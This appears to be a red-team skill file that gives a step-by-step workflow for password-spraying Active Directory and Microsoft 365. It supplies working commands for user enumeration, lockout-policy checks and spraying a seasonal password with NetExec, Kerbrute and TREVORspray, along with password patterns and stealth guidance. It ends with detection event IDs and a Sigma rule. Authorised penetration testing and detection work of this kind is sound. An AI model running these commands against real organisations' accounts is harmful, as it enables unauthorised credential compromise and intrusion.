<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: conducting-password-spraying
description: >-
  Execute password spraying attacks against Active Directory and web services.
  Covers user enumeration, lockout-aware spraying with NetExec and Kerbrute,
  O365/OWA targeting, and OPSEC timing considerations.
domain: cybersecurity
subdomain: red-team
tags:
  - password-spraying
  - credential-access
  - netexec
  - kerbrute
  - brute-force
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1110.003"]
  tools: ["netexec", "kerbrute", "hydra", "trevorspray"]
---

# Conducting Password Spraying

## Overview

Password spraying (T1110.003) tests a small number of commonly used passwords
against many accounts simultaneously, avoiding account lockout policies that
trigger after repeated failures against a single account.

## Prerequisites

- Target user list (LDAP, OSINT, company directory)
- Lockout policy knowledge (threshold, observation window)
- NetExec, Kerbrute, or Hydra installed
- Network access to target services (SMB/445, Kerberos/88, HTTPS/443)

```bash
pip install netexec
```

## Key Concepts

### Lockout Policy

```bash
nxc smb 10.10.10.1 -u jsmith -p 'Pass1' --pass-pol
```

**Safe spray rule:** `threshold - 2` attempts per observation window.

### Password Patterns

| Pattern | Example |
|---------|---------|
| Season+Year | Winter2026! |
| Company+Number | Acme2026! |
| Month+Year | March2026! |
| Welcome | Welcome1! |

### Protocol Selection

| Protocol | Port | Stealth |
|----------|------|---------|
| Kerberos | 88 | High |
| SMB | 445 | Medium |
| OWA/O365 | 443 | Low |

## Workflow

### Step 1: Enumerate Users

```bash
kerbrute userenum --dc 10.10.10.1 -d corp.local usernames.txt
nxc smb 10.10.10.1 -u 'guest' -p '' --rid-brute 5000
```

### Step 2: Check Lockout Policy

```bash
nxc smb 10.10.10.1 -u jsmith -p 'KnownPass1' --pass-pol
```

### Step 3: Execute Spray

```bash
nxc smb 10.10.10.1 -u users.txt -p 'Winter2026!' --continue-on-success
kerbrute passwordspray --dc 10.10.10.1 -d corp.local users.txt 'Winter2026!'
trevorspray -u users.txt -p 'Winter2026!' --url https://login.microsoftonline.com
```

### Step 4: Validate Hits

```bash
nxc smb 10.10.10.1 -u valid_user -p 'Winter2026!' --shares
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|------------|
| Event ID 4625 | Security | Multiple failed logins from one IP |
| Event ID 4771 | Security | Kerberos pre-auth failures |

```yaml
title: Password Spraying via SMB
id: c8d4e2f6-1a3b-45c9-b7e2-9d1f4a6c8b3e
status: experimental
description: Detects multiple failed SMB logins from single source
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4625
    LogonType: 3
  timeframe: 30m
  condition: selection | count(TargetUserName) by IpAddress > 10
falsepositives:
  - Vulnerability scanners
level: high
tags:
  - attack.credential_access
  - attack.t1110.003
```

## Verification

- [ ] Lockout policy enumerated before spraying
- [ ] Spray respects lockout threshold
- [ ] Valid credentials validated
- [ ] Detection artifacts documented

## References

- [MITRE ATT&CK T1110.003](https://attack.mitre.org/techniques/T1110/003/)
- [NetExec](https://github.com/Pennyw0rth/NetExec)
- [Kerbrute](https://github.com/ropnop/kerbrute)
- [TREVORspray](https://github.com/blacklanternsecurity/TREVORspray)
